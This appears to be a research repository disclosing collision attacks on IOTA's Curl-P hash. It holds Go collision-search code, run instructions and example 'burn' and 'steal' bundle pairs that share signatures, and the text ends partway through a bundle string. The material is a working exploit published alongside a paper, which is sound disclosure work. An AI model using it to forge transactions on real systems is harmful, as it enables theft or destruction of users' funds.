├── .gitignore ├── README.md ├── collide ├── collide.go └── collide_test.go ├── examples ├── .gitignore ├── README.md ├── burn_bundles.go ├── curlexamples.py ├── main.go └── steal_bundles.go ├── iotutil └── util.go ├── template ├── .gitignore ├── pycurl.py ├── trit17.py └── trit26.py ├── valueattack ├── .gitignore ├── inputBundleTrytes.txt └── main.go └── vuln-iota.md /.gitignore: -------------------------------------------------------------------------------- 1 | tangled-curl 2 | *~ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Vulnerability report on IOTA and code to create collisions 2 | 3 | Read our full paper [Cryptanalysis of Curl-P and Other Attacks on the IOTA Cryptocurrency](http://i.blackhat.com/us-18/Wed-August-8/us-18-Narula-Heilman-Cryptanalysis-of-Curl-P-wp.pdf). 4 | 5 | Read the original report [here](vuln-iota.md). 6 | 7 | See `examples` for the original colliding bundles we released in 2017. 8 | 9 | See `valueattack`, `collide`, and `template` for the code to create colliding bundles. 10 | 11 | Make sure to set your `GOPATH` and check out this repo to `$GOPATH/src/github.com/mit-dci/tangled-curl`. For example, the following sets `GOPATH` to a directory named `go` inside your home directory and clones the repo there: 12 | 13 | ``` 14 | export GOPATH=$HOME/go 15 | mkdir -p $GOPATH/src/github.com/mit-dci 16 | cd $GOPATH/src/github.com/mit-dci 17 | git clone https://github.com/mit-dci/tangled-curl 18 | ``` 19 | 20 | Afterwards, clone the IOTA libraries: 21 | 22 | ``` 23 | go get -u github.com/getlantern/deepcopy 24 | go get -u github.com/iotaledger/giota 25 | ``` 26 | 27 | The latter line will emit a harmless warning (`package github.com/iotaledger/giota: no Go files in ...`). As `iotaledger` changed the implementation since we wrote our cryptanalysis code, make sure that `iotaledger` is at the right commit: 28 | 29 | ``` 30 | pushd $GOPATH/src/github.com/iotaledger/giota/ 31 | git checkout 7e48a1c9b9e904f07e1fc82815e5b302873a6dec 32 | popd 33 | ``` 34 | 35 | Install pypy (our code hardcodes `pypy` executable name but it is likely that `pypy3` would work with small changes). 36 | 37 | Finally, try out our attack: 38 | 39 | ``` 40 | cd $GOPATH/src/github.com/mit-dci/tangled-curl/valueattack 41 | CGO_LDFLAGS_ALLOW='-msse2' go build 42 | ./valueattack 43 | ``` 44 | 45 | (The `CGO_LDFLAGS_ALLOW` environment variable enables [cgo flag whitelisting](https://github.com/golang/go/wiki/InvalidFlag) required by iotaledger at the commit we use.) 46 | -------------------------------------------------------------------------------- /collide/collide.go: -------------------------------------------------------------------------------- 1 | package collide 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "math/rand" 7 | "os/exec" 8 | "regexp" 9 | "strconv" 10 | "strings" 11 | "sync" 12 | "sync/atomic" 13 | "time" 14 | ) 15 | 16 | const ( 17 | STATE_SZ = 729 18 | MSGBLOCK_SZ = 243 19 | ) 20 | 21 | var ( 22 | indices [STATE_SZ + 1]int 23 | box = [11]int8{1, 0, -1, 0, 1, -1, 0, 0, -1, 1, 0} 24 | ) 25 | 26 | type Result struct { 27 | found bool 28 | msg0 []int8 29 | msg1 []int8 30 | } 31 | 32 | // TODO: return ncollisions, not just the first one 33 | func Collide(state []int8, template []int8, ncpu int, ncollisions, fail int) ([]int8, []int8, int64) { 34 | var wg sync.WaitGroup 35 | start := time.Now() 36 | total := make([]int64, ncpu) 37 | var collisions uint64 38 | var stop uint64 39 | results := make([]Result, ncpu) 40 | for i := 0; i < ncpu; i++ { 41 | wg.Add(1) 42 | go func(i int) { 43 | r := rand.New(rand.NewSource(int64(i) + time.Now().UnixNano())) 44 | var state0 [STATE_SZ]int8 45 | var state1 [STATE_SZ]int8 46 | found := false 47 | for { 48 | copy(state0[:], state) 49 | copy(state1[:], state) 50 | found = try_template(template, state0[:], state1[:], r, fail) 51 | if found { 52 | num_collisions := atomic.AddUint64(&collisions, 1) 53 | if num_collisions >= uint64(ncollisions) { 54 | res := Result{ 55 | true, 56 | make([]int8, 243), 57 | make([]int8, 243), 58 | } 59 | copy(res.msg0, state0[0:243]) 60 | copy(res.msg1, state1[0:243]) 61 | results[i] = res 62 | break 63 | } 64 | } 65 | total[i]++ 66 | should_stop := atomic.LoadUint64(&stop) 67 | if should_stop > 0 { 68 | // Someone else found collisions 69 | break 70 | } 71 | } 72 | atomic.AddUint64(&stop, 1) 73 | wg.Done() 74 | }(i) 75 | } 76 | wg.Wait() 77 | var sum int64 78 | for i := 0; i < ncpu; i++ { 79 | sum = sum + total[i] 80 | } 81 | found := false 82 | where := -1 83 | 84 | for i := 0; i < ncpu; i++ { 85 | if results[i].found == true { 86 | found = true 87 | where = i 88 | // log.Printf("Collision by goroutine %v.\nmsg0 = [%v]\nmsg1 = [%v]\n", i, Str(results[i].msg0), Str(results[i].msg1)) 89 | } 90 | } 91 | log.Printf("%v checks in %v time\n", sum, time.Since(start)) 92 | if found { 93 | return results[where].msg0, results[where].msg1, sum 94 | } 95 | fmt.Println("No collisions found") 96 | return nil, nil, sum 97 | } 98 | 99 | // Transform a slice of trits up to and including the specified message block (mb). 100 | // This helps produce intermediate state to find collisions. 101 | func ProduceState(trits []int8, mb int) []int8 { 102 | state := make([]int8, STATE_SZ) 103 | for i := 0; i <= mb; i++ { 104 | copy(state[0:MSGBLOCK_SZ], trits[i*MSGBLOCK_SZ:(i+1)*MSGBLOCK_SZ]) 105 | transform(state) 106 | } 107 | return state 108 | } 109 | 110 | func exec_template(state, mb1, mb2, mb3 []int8, cmds string) string { 111 | cmd := cmds 112 | cmd = fmt.Sprintf("%v --state=[%v] --1mb=[%v] --2mb=[%v] --3mb=[%v]", cmd, Str(state), Str(mb1), Str(mb2), Str(mb3)) 113 | out, err := exec.Command("sh", "-c", cmd).Output() 114 | if err != nil { 115 | fmt.Println(out) 116 | fmt.Printf("Panic on exec template %v\n", cmd) 117 | panic(err) 118 | } 119 | return string(out) 120 | } 121 | 122 | func RunPython(state, mb1, mb2, mb3 []int8, cmd string) ([]int8, []int8) { 123 | out := exec_template(state, mb1, mb2, mb3, cmd) 124 | re := regexp.MustCompile(`\[[(-1)\d\s,]*\]`) 125 | parts := re.FindAllStringSubmatch(out, -1) 126 | if len(parts) != 2 { 127 | fmt.Printf("%q\n", parts) 128 | panic("Bad parsing") 129 | } 130 | // log.Printf("Parts: %q\n", parts) 131 | tag_trits := make([]int8, 0) 132 | for _, c := range strings.Split(parts[0][0], ",") { 133 | i, err := strconv.Atoi(strings.Trim(c, "[] ")) 134 | if err != nil { 135 | fmt.Printf("Panic on strconv\n") 136 | panic(err) 137 | } 138 | tag_trits = append(tag_trits, int8(i)) 139 | } 140 | 141 | if len(tag_trits) != 243 { 142 | fmt.Println(len(tag_trits)) 143 | panic("wrong length") 144 | } 145 | 146 | template_trits := make([]int8, 0) 147 | for _, c := range strings.Split(parts[1][0], ",") { 148 | i, err := strconv.Atoi(strings.Trim(c, "[] ")) 149 | if err != nil { 150 | fmt.Printf("Panic on strconv\n") 151 | panic(err) 152 | } 153 | template_trits = append(template_trits, int8(i)) 154 | } 155 | if len(template_trits) != 486 { 156 | fmt.Println(len(template_trits)) 157 | panic("wrong length") 158 | } 159 | 160 | template_trits = template_trits[243:] 161 | return tag_trits, template_trits 162 | } 163 | 164 | func Str(a []int8) string { 165 | txt := []string{} 166 | for i := range a { 167 | number := a[i] 168 | text := strconv.Itoa(int(number)) 169 | txt = append(txt, text) 170 | } 171 | return strings.Join(txt, ",") 172 | } 173 | 174 | func rand_trit(r *rand.Rand) int8 { 175 | x := int8(r.Intn(3)) 176 | if x == 2 { 177 | x = -1 178 | } 179 | return x 180 | } 181 | 182 | // 1, 0, or -1: keep fixed 183 | // 2: vary randomly 184 | // 3: special trit, 0 or 1 185 | func fill_template(template []int8, fill0 []int8, fill1 []int8, r *rand.Rand) int { 186 | specialTrit := -1 187 | for i := 0; i < len(template); i++ { 188 | if template[i] == 2 { 189 | x := rand_trit(r) 190 | fill0[i] = x 191 | fill1[i] = x 192 | } else if template[i] == 3 { 193 | if specialTrit >= 0 { 194 | panic("already set special trit index") 195 | } 196 | specialTrit = i 197 | fill0[i] = 0 198 | fill1[i] = 1 199 | } else { 200 | fill0[i] = template[i] 201 | fill1[i] = template[i] 202 | } 203 | } 204 | if specialTrit < 0 { 205 | panic("no special trit?") 206 | } 207 | return specialTrit 208 | } 209 | 210 | // transform does the transform from the sponge function 211 | func transform(state []int8) { 212 | var cpy [STATE_SZ]int8 213 | for r := 0; r < 27; r++ { 214 | copy(cpy[:], state) 215 | for i := 0; i < STATE_SZ; i++ { 216 | state[i] = box[cpy[indices[i]]+(cpy[indices[i+1]]*4)+5] 217 | } 218 | } 219 | } 220 | 221 | // Run a transform on trits statea and stateb, compare result 222 | func transform_cmp(statea, stateb [STATE_SZ]int8, fail int) bool { 223 | if len(statea) != STATE_SZ || len(stateb) != STATE_SZ { 224 | panic("bad state size") 225 | } 226 | var copya, copyb [STATE_SZ]int8 227 | 228 | for r := 0; r < 27; r++ { 229 | copy(copya[:], statea[:]) 230 | copy(copyb[:], stateb[:]) 231 | 232 | for i := 0; i < STATE_SZ; i++ { 233 | statea[i] = box[copya[indices[i]]+(copya[indices[i+1]]*4)+5] 234 | stateb[i] = box[copyb[indices[i]]+(copyb[indices[i+1]]*4)+5] 235 | } 236 | if fail > 0 && r == fail { 237 | diffs := 0 238 | diff0 := -1 239 | diff1 := -1 240 | for j := 0; j < STATE_SZ; j++ { 241 | if statea[j] != stateb[j] { 242 | diffs = diffs + 1 243 | if diff0 == -1 { 244 | diff0 = j 245 | } else { 246 | diff1 = j 247 | } 248 | } 249 | } 250 | if diffs > 1 { 251 | if r == fail { 252 | fmt.Printf("Number of diffs: %v, round %v\n", diffs, r) 253 | fmt.Printf("Diff: %v and %v trits \n", diff0, diff1) 254 | panic("Python code should have ensured that this doesn't happen") 255 | } 256 | } 257 | } 258 | } 259 | 260 | for i := 243; i < STATE_SZ; i++ { 261 | if statea[i] != stateb[i] { 262 | return false 263 | } 264 | } 265 | 266 | return true 267 | } 268 | 269 | func try_template(template []int8, state0, state1 []int8, r *rand.Rand, fail int) bool { 270 | fill_template(template, state0, state1, r) 271 | var state0tmp, state1tmp [STATE_SZ]int8 272 | copy(state0tmp[:], state0) 273 | copy(state1tmp[:], state1) 274 | worked := transform_cmp(state0tmp, state1tmp, fail) 275 | if !worked { 276 | return false 277 | } 278 | copy(state0tmp[:], state0) 279 | copy(state1tmp[:], state1) 280 | transform(state0tmp[:]) 281 | transform(state1tmp[:]) 282 | for i := 243; i < STATE_SZ; i++ { 283 | if state0tmp[i] != state1tmp[i] { 284 | panic("transform_cmp returned true but after transform last 2/3rds are different") 285 | } 286 | } 287 | return true 288 | } 289 | 290 | func init() { 291 | for i := 0; i < STATE_SZ; i++ { 292 | p := -365 293 | if indices[i] < 365 { 294 | p = 364 295 | } 296 | indices[i+1] = indices[i] + p 297 | } 298 | } 299 | -------------------------------------------------------------------------------- /collide/collide_test.go: -------------------------------------------------------------------------------- 1 | package collide 2 | 3 | import "testing" 4 | 5 | func TestCollideQuick(t *testing.T) { 6 | state := []int8{0, 1, 0, -1, -1, -1, 7 | 1, -1, 0, 1, 0, -1, -1, -1, -1, 0, -1, -1, 1, -1, 1, 0, 0, 0, 1, 8 | 1, 0, -1, 1, 1, 0, 1, 0, -1, 0, -1, -1, 0, 0, 0, 0, 1, -1, -1, 1, 9 | -1, -1, 0, -1, 1, -1, 0, 0, 1, 0, -1, -1, 0, -1, 0, 0, 1, 1, 1, 1, 10 | 0, -1, -1, 0, -1, 1, 0, 1, 1, 0, 0, 0, 1, 0, -1, -1, 1, 1, -1, -1, 11 | 1, 1, 0, 1, -1, -1, 1, 1, 0, -1, 1, 1, -1, -1, -1, 1, 0, -1, 0, 0, 12 | 1, -1, 1, 0, 1, -1, 0, 0, 1, 0, 1, 1, -1, -1, 0, 0, 1, 0, 0, -1, 13 | 1, -1, 0, -1, -1, -1, 0, 1, -1, 1, -1, 1, 0, 1, 0, 1, 1, 0, -1, 1, 14 | 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, -1, 1, -1, 0, 0, 0, 0, 0, 0, 0, 15 | 0, 1, 1, 1, 0, -1, 1, 1, 0, -1, -1, -1, 1, -1, 0, -1, 0, -1, 0, 16 | -1, 0, -1, 1, 1, -1, -1, 0, 0, 0, -1, -1, 1, -1, 1, 0, 0, 0, -1, 17 | -1, -1, -1, 1, -1, -1, 1, 1, -1, 1, 0, 0, 1, 1, -1, -1, 0, 1, 1, 18 | 0, -1, 1, 1, 1, 0, 1, 1, 1, 0, -1, -1, -1, 1, -1, -1, -1, -1, -1, 19 | 0, -1, 1, 0, 1, 1, 0, 1, 1, -1, 1, -1, 1, 0, 1, 1, 0, 0, -1, 0, 0, 20 | -1, 1, 1, 0, 1, 0, 0, -1, 0, -1, 1, 1, 1, -1, 1, -1, 1, -1, -1, 1, 21 | 0, 1, 1, 1, 1, -1, -1, 0, 0, -1, 1, 1, 1, 0, 1, 1, 0, -1, 1, -1, 22 | 0, 1, -1, -1, 0, 1, 0, -1, -1, 1, 0, -1, -1, 0, -1, -1, 1, 0, 0, 23 | 1, 1, -1, 1, 0, 1, -1, 1, -1, 1, 0, -1, 1, 1, 0, 0, -1, -1, 1, 1, 24 | 0, 1, 0, -1, -1, -1, 0, 0, 1, 0, 0, 1, -1, -1, -1, 0, -1, 0, 1, 1, 25 | 0, -1, 1, 1, -1, -1, -1, 0, 0, 0, 0, 1, 0, -1, 0, 0, 0, 0, -1, 1, 26 | 1, 1, 0, -1, -1, 1, -1, 0, 0, 0, -1, 1, 1, 1, 0, 0, -1, 0, -1, 0, 27 | 0, 1, -1, 1, 0, 1, 1, 1, 0, 1, 0, -1, -1, -1, 1, -1, -1, 1, -1, 1, 28 | 0, 0, 1, -1, 1, 1, 1, 0, 1, -1, 0, 0, 0, -1, 1, -1, 1, 0, 0, -1, 29 | 0, 0, -1, -1, -1, -1, 0, 0, 0, 1, 1, 0, 0, -1, 1, -1, 1, 1, -1, 1, 30 | -1, -1, 0, 1, 1, -1, 1, -1, 1, 1, 0, 1, 0, -1, 1, -1, 1, 0, -1, 31 | -1, 1, 0, -1, -1, 1, 1, 0, 1, 1, -1, 0, 1, 1, 0, 1, -1, 0, 1, 1, 32 | 0, 0, 0, 1, -1, 0, 0, 1, -1, -1, 0, 0, -1, 0, 1, 1, 1, 1, -1, 1, 33 | -1, 1, 0, -1, 0, 1, 0, 0, 1, 0, -1, 1, 0, -1, -1, 1, 1, -1, -1, 1, 34 | 0, -1, 1, 1, 1, 1, -1, -1, -1, -1, 1, 0, 1, 0, 1, -1, 1, -1, -1, 35 | 1, 0, 0, 1, -1, -1, 0, 1, 1, 0, 0, 0, 0, 1, 0, -1, 1, 0, 1, -1, 1, 36 | 1, 1, 0, 0, 1, 0, 1, -1, 1, -1, 1, 1, 1, 0, 0, 0, -1, 0, 1, 1, 0, 37 | 0, -1, -1, 0, 1, 0, -1, -1, -1, -1, 0, 0, 0, 1, -1, 1, -1, 1, -1, 38 | 0, -1, -1, 0, 1, 0, -1, -1, 0, 1, -1, 1, 1, 1, 0, -1, 0, 0, -1, 39 | -1, 1, 1, -1, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, -1, -1, 0, 40 | 1, -1, -1, 1, 1, 1, 1, 0, -1, -1, 0, -1, 1, 1, 0, 0, 1, 1, 1, -1, 41 | 0, 0, 0, 1, -1, 0, 1, -1, 1, -1, 0, -1, -1, 0, 1, 1, 1, 0, -1, 0, 42 | 1, -1, -1, -1, -1, -1, -1, 1, 1, 1, 1, 0, 1, 1, 1, -1, -1, 0, 1, 43 | -1, -1, 1, -1, 1, 0, 0, 1, 0, 1} 44 | 45 | template := []int8{1, 0, -1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46 | 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 0, 0, 0, 0, 0, 0, 0, 47 | 0, 0, 0, 0, 2, 0, 0, 0, 0, 2, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 48 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 49 | -1, 1, -1, -1, -1, 1, -1, 0, 0, -1, -1, -1, 0, 0, 0, 0, 1, 0, 1, 50 | 1, -1, -1, 0, 0, 1, -1, 1, 0, 1, 0, 0, -1, -1, -1, 1, -1, 0, 1, 51 | -1, -1, -1, 1, -1, 0, 0, -1, 1, 0, 1, -1, 0, 1, 1, -1, -1, 1, -1, 52 | 0, 1, 1, -1, -1, 0, 0, -1, 1, 1, -1, -1, -1, -1, 1, -1, -1, 1, 0, 53 | 1, -1, -1, 0, -1, -1, 0, -1, 0, -1, -1, -1, -1, -1, 0, -1, -1, 1, 54 | -1, -1, 0, -1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 55 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 56 | 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 57 | 0, 0, 0} 58 | 59 | msg0, msg1, _ := Collide(state, template, 4, 1, -1) 60 | if msg0 == nil || msg1 == nil { 61 | t.Fatalf("Should have found a collision") 62 | } 63 | } 64 | 65 | func TestCollideSlower(t *testing.T) { 66 | state := []int8{0, 1, 0, -1, -1, -1, 67 | 1, -1, 0, 1, 0, -1, -1, -1, -1, 0, -1, -1, 1, -1, 1, 0, 0, 0, 1, 68 | 1, 0, -1, 1, 1, 0, 1, 0, -1, 0, -1, -1, 0, 0, 0, 0, 1, -1, -1, 1, 69 | -1, -1, 0, -1, 1, -1, 0, 0, 1, 0, -1, -1, 0, -1, 0, 0, 1, 1, 1, 1, 70 | 0, -1, -1, 0, -1, 1, 0, 1, 1, 0, 0, 0, 1, 0, -1, -1, 1, 1, -1, -1, 71 | 1, 1, 0, 1, -1, -1, 1, 1, 0, -1, 1, 1, -1, -1, -1, 1, 0, -1, 0, 0, 72 | 1, -1, 1, 0, 1, -1, 0, 0, 1, 0, 1, 1, -1, -1, 0, 0, 1, 0, 0, -1, 73 | 1, -1, 0, -1, -1, -1, 0, 1, -1, 1, -1, 1, 0, 1, 0, 1, 1, 0, -1, 1, 74 | 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, -1, 1, -1, 0, 0, 0, 0, 0, 0, 0, 75 | 0, 1, 1, 1, 0, -1, 1, 1, 0, -1, -1, -1, 1, -1, 0, -1, 0, -1, 0, 76 | -1, 0, -1, 1, 1, -1, -1, 0, 0, 0, -1, -1, 1, -1, 1, 0, 0, 0, -1, 77 | -1, -1, -1, 1, -1, -1, 1, 1, -1, 1, 0, 0, 1, 1, -1, -1, 0, 1, 1, 78 | 0, -1, 1, 1, 1, 0, 1, 1, 1, 0, -1, -1, -1, 1, -1, -1, -1, -1, -1, 79 | 0, -1, 1, 0, 1, 1, 0, 1, 1, -1, 1, -1, 1, 0, 1, 1, 0, 0, -1, 0, 0, 80 | -1, 1, 1, 0, 1, 0, 0, -1, 0, -1, 1, 1, 1, -1, 1, -1, 1, -1, -1, 1, 81 | 0, 1, 1, 1, 1, -1, -1, 0, 0, -1, 1, 1, 1, 0, 1, 1, 0, -1, 1, -1, 82 | 0, 1, -1, -1, 0, 1, 0, -1, -1, 1, 0, -1, -1, 0, -1, -1, 1, 0, 0, 83 | 1, 1, -1, 1, 0, 1, -1, 1, -1, 1, 0, -1, 1, 1, 0, 0, -1, -1, 1, 1, 84 | 0, 1, 0, -1, -1, -1, 0, 0, 1, 0, 0, 1, -1, -1, -1, 0, -1, 0, 1, 1, 85 | 0, -1, 1, 1, -1, -1, -1, 0, 0, 0, 0, 1, 0, -1, 0, 0, 0, 0, -1, 1, 86 | 1, 1, 0, -1, -1, 1, -1, 0, 0, 0, -1, 1, 1, 1, 0, 0, -1, 0, -1, 0, 87 | 0, 1, -1, 1, 0, 1, 1, 1, 0, 1, 0, -1, -1, -1, 1, -1, -1, 1, -1, 1, 88 | 0, 0, 1, -1, 1, 1, 1, 0, 1, -1, 0, 0, 0, -1, 1, -1, 1, 0, 0, -1, 89 | 0, 0, -1, -1, -1, -1, 0, 0, 0, 1, 1, 0, 0, -1, 1, -1, 1, 1, -1, 1, 90 | -1, -1, 0, 1, 1, -1, 1, -1, 1, 1, 0, 1, 0, -1, 1, -1, 1, 0, -1, 91 | -1, 1, 0, -1, -1, 1, 1, 0, 1, 1, -1, 0, 1, 1, 0, 1, -1, 0, 1, 1, 92 | 0, 0, 0, 1, -1, 0, 0, 1, -1, -1, 0, 0, -1, 0, 1, 1, 1, 1, -1, 1, 93 | -1, 1, 0, -1, 0, 1, 0, 0, 1, 0, -1, 1, 0, -1, -1, 1, 1, -1, -1, 1, 94 | 0, -1, 1, 1, 1, 1, -1, -1, -1, -1, 1, 0, 1, 0, 1, -1, 1, -1, -1, 95 | 1, 0, 0, 1, -1, -1, 0, 1, 1, 0, 0, 0, 0, 1, 0, -1, 1, 0, 1, -1, 1, 96 | 1, 1, 0, 0, 1, 0, 1, -1, 1, -1, 1, 1, 1, 0, 0, 0, -1, 0, 1, 1, 0, 97 | 0, -1, -1, 0, 1, 0, -1, -1, -1, -1, 0, 0, 0, 1, -1, 1, -1, 1, -1, 98 | 0, -1, -1, 0, 1, 0, -1, -1, 0, 1, -1, 1, 1, 1, 0, -1, 0, 0, -1, 99 | -1, 1, 1, -1, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, -1, -1, 0, 100 | 1, -1, -1, 1, 1, 1, 1, 0, -1, -1, 0, -1, 1, 1, 0, 0, 1, 1, 1, -1, 101 | 0, 0, 0, 1, -1, 0, 1, -1, 1, -1, 0, -1, -1, 0, 1, 1, 1, 0, -1, 0, 102 | 1, -1, -1, -1, -1, -1, -1, 1, 1, 1, 1, 0, 1, 1, 1, -1, -1, 0, 1, 103 | -1, -1, 1, -1, 1, 0, 0, 1, 0, 1} 104 | 105 | template := []int8{1, 0, -1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 106 | 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 0, 0, 0, 0, 0, 0, 0, 107 | 0, 0, 0, 0, 2, 0, 0, 0, 0, 2, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 108 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 109 | 2, 1, 2, -1, -1, 1, -1, 2, 2, -1, -1, -1, 0, 0, 0, 0, 1, 0, 1, 110 | 1, -1, -1, 0, 0, 1, -1, 1, 0, 1, 0, 0, -1, -1, -1, 1, -1, 0, 1, 111 | -1, -1, -1, 1, -1, 0, 0, -1, 1, 0, 1, -1, 0, 1, 1, -1, -1, 1, -1, 112 | 0, 1, 1, -1, -1, 0, 0, -1, 1, 1, -1, -1, -1, -1, 1, -1, -1, 1, 0, 113 | 1, -1, -1, 0, -1, -1, 0, -1, 0, -1, -1, -1, -1, -1, 0, -1, -1, 1, 114 | -1, -1, 0, -1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 115 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 116 | 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 117 | 0, 0, 0} 118 | 119 | msg0, msg1, _ := Collide(state, template, 4, 1, -1) 120 | if msg0 == nil || msg1 == nil { 121 | t.Fatalf("Should have found a collision") 122 | } 123 | } 124 | -------------------------------------------------------------------------------- /examples/.gitignore: -------------------------------------------------------------------------------- 1 | examples -------------------------------------------------------------------------------- /examples/README.md: -------------------------------------------------------------------------------- 1 | ## Original colliding bundles 2 | 3 | Examples of valid IOTA bundles which collide. 4 | 5 | BURN_BUNDLEs collide on the 72nd trit of the Address field of the last 6 | transaction in each bundle. 7 | 8 | STEAL_BUNDLEs collide on the 17th trit of the Value fields in the 4th 9 | and 6th transaction in each bundle. 10 | 11 | The bundles in each pair have the same hash, and thus the same 12 | signature. 13 | 14 | ``` 15 | $ go build 16 | $ ./examples 17 | Collision! Can burn funds 18 | Collision! Can steal funds 19 | $ 20 | ``` -------------------------------------------------------------------------------- /examples/burn_bundles.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | // BUNDLE 0 transaction hashes: 4 | // 5 | // WPJXQEQOVTRJIZYBGYIMCQINHKVVSZPXVRNFGOUZZHGURNVQXBUXRHDBLIAUNHRPQQHYVKKD9JPN99999 6 | // JKUMDNFCXZYGXRPEOEASTXNGCZHHBAWRMJFURVDDGEEVAXNOIYSSI99ZJPMDUPWBFESIOQQZLOTB99999 7 | // EDGIMHMPIBKDRBMVHLGWVIKHXRYAMRHDMXMCKKECVTILEKQPLU9REKU9EPFBBUJFLKKSXZRHYBYE99999 8 | // RWNYGRUPLIIFDKKOS9ZLNRUHFXTKNEMHNBCJTZTIXYEMFGKDGLU9BDFXKMPPWIZCHXWYRXPGLDJZ99999 9 | 10 | var BURN_BUNDLE0 []string = []string{ 11 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999ROQDJLWUDUXBKHJ9PNUPEBYLSJTSAT9RCKFVTCJFDUKHZJUDSSTELTIRA9DHKPUZTGSHAZNJKOFFKAXXPWPOC99999999999999999999999IOTFORALL999999999999999999QONOPXD99999999999C99999999UXOTHHZPYHAKLQNOYGHUFDNIQORRPQVRXQPVCZEWEMPHVIJB9OJIDB99ZJAZLFMXNOKBRSDG9HXSOLGLBJKUMDNFCXZYGXRPEOEASTXNGCZHHBAWRMJFURVDDGEEVAXNOIYSSI99ZJPMDUPWBFESIOQQZLOTB99999999999999999999999999999999999999999999999999999999999999999999999999999999999999TPMXBQHLAIHHRVEBB9DWBFYQSTTTDYUAPXXFRNEFWYCKHWJRIVH9VIXZJXMKVJEFVEIOWSSQJFVVRMBKE", 12 | "T9ENXSCXESWBKWAEZYAXTH9F9MXIIQQFAOOBKWFPNIPNNLPGGQTEITPVPHD9NYROGXCXZFSDVGNNAVHXYDJWLDNHRCOPUVIQJKAUUOQGKXETJKAQYMEAVBCDMCLEWZBBBOQHHEUFTOTLGCYLGSYR9NGZJERVVBPLKTAKDKZIZYGTLLAURPPZ9RBDTNITEHJESGCCILZGLZGHELDGQUYGLAXSMHAXKXKVZMEPXJXEU9EEQE9NOESANDTPG9VXDGAMDCSQXIZ9TMYHJINFZJMFHNBYVKUFYUVOMVWIVDOR9GQKIDDXMVTTYFSQSBTBCURPHSTQEKIDZKAWOAIXIOSRJUAWF9FYGSECKATVXMTFMTZTHIWZGGHHRZH9TCWBJICIFXPUGRPVQVWLQBYWBSOLPFLPADJFEWKCEZUCKELTBQHAZPKK9JOZNZTYTUSGCXELQBMKOYPHWPAXQO9RJOFZBSUNNINQGPQWPQIF9DSFDABVHV99NBEJHXGOBGZJDYQNGDWSSSPBXRLCDWIEWRWUIBDGBP9VKDXUQPOHWHBDXZEE9XCHQKKAVEOPFT9OQCP9FWXMBZZKHA9WAZTQPTGDEDZSUQYBBQFMUXYK9XHGOT9PIF99MABTFNOKBQNLBZX9KLWIQWXJNNEME9OLEBIACIPEDNNRNOQOVCJV9LTVZBJ9BFQRTEYPNCHSFRUGINUTFMQAN9AYRXURAYYFEJSAD9MSFWFHZEARJVFWXKQBBNF9XDIUZNYTZCIQXWFHUNMVZHCLZDMDASETYGMVP9AAUJUPWV9OZYNBAZNNLK9XPZWWWEYMHSV9TIAWEQFFEFIGDKRITLQFNTUF9UTBQXQKFUJXOHUCDSWBYMPOOLJBHUSQFSNPYHPGDPQOSLWJWYQXZCLNIRGKVNXUTBKUIHSKHJIIC9GWYTUOFVTEN9GUCWBEMYLZYUPJGGD9FZ9SHEGELULYIJRX9PMDEYAVLBTFZARAUNCBNDKUKQGONPWIQRDWH9LNADANVLZ9CXCLCSDQQFGVKMUWJIRDYJBKDWPUSBQWBKBPIBGFFXTPCQCDCAAMOEUMXGZKVXUTXWAHBXFED9NDOGIDVEWRSFQMRYLQPSYIEGOPC9OUYBX